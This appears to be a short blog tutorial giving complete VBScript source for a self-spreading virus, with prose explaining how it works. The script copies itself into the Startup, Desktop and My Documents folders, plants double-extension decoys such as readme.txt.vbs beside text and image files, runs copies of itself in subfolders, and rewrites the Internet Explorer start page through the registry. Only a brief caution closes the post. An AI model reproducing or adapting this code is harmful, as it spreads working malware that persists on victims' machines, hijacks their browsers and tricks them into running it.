Examples of viruses using VBScipt

viruses  

Examples of viruses using VBScipt - We will learn how to create a computer virus using VBS (Visual Basic Script). Ability VBS virus is able to work in autorun (run automatically). This virus uses double extension, when in the same folder there are files with extensions JPG and TXT then the script will also create a VBS file with the same file name.

For example, if in the folder contain file named readme.txt, then this script automatically make a file named readme.txt.vbs. If in the folder there is a subfolder, then the script will be copying itself into the subfolder.

There are 3 main locations targeted by this script, Desktop, Startup and My Documents. In addition, the script will also change the default address of the website on the Internet Explorer program.

1 On error resume next
2 Dim WshShell, fso, Source, vPath, Target, Location
3 Set WshShell = CreateObject("Wscript.Shell")
4 Set fso = CreateObject("Scripting.FileSystemObject")
5 Set Source = fso.GetFile(Wscript.ScriptFullName)
6
7 WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://ambarhalim.blogspot.com/"
8
9 Location = WshShell.SpecialFolders("Startup")
10 Source.Copy (Location & "\Adobe.vbs")
11
12 Location = WshShell.SpecialFolders("Desktop")
13 Source.Copy (Location & "Readme.vbs")
14 InfectFolder Location
15
16 Location = WshShell.SpecialFolders("MyDocuments")
17 Source.Copy (Location & "\Image.vbs")
18 InfectFolder Location
19
20 vPath = Left(Source, InStrRev(Source, "\"))
21 For Each target in fso.GetFolder(vPath).Files
22 If Right(Target,3)="txt" or Right(Target,3)="jpg" then Source.Copy(Target & ".vbs")
23 Next
24
25 Sub InfectFolder(addr)
26 On error resume next
27 For Each Target in fso.GetFolder(addr).SubFolders
28 Source.Copy(Target & "\Readme.vbs")
29 WshShell.Run (Target & "\Readme.vbs")
30 Next
31 End sub

That example VBS script that can work like a virus. Do not play around with the script above if you are not an experienced person to handle the virus.


Keyword: Virus | Sample of Computer Viruses | VBScript Virus

You may also like: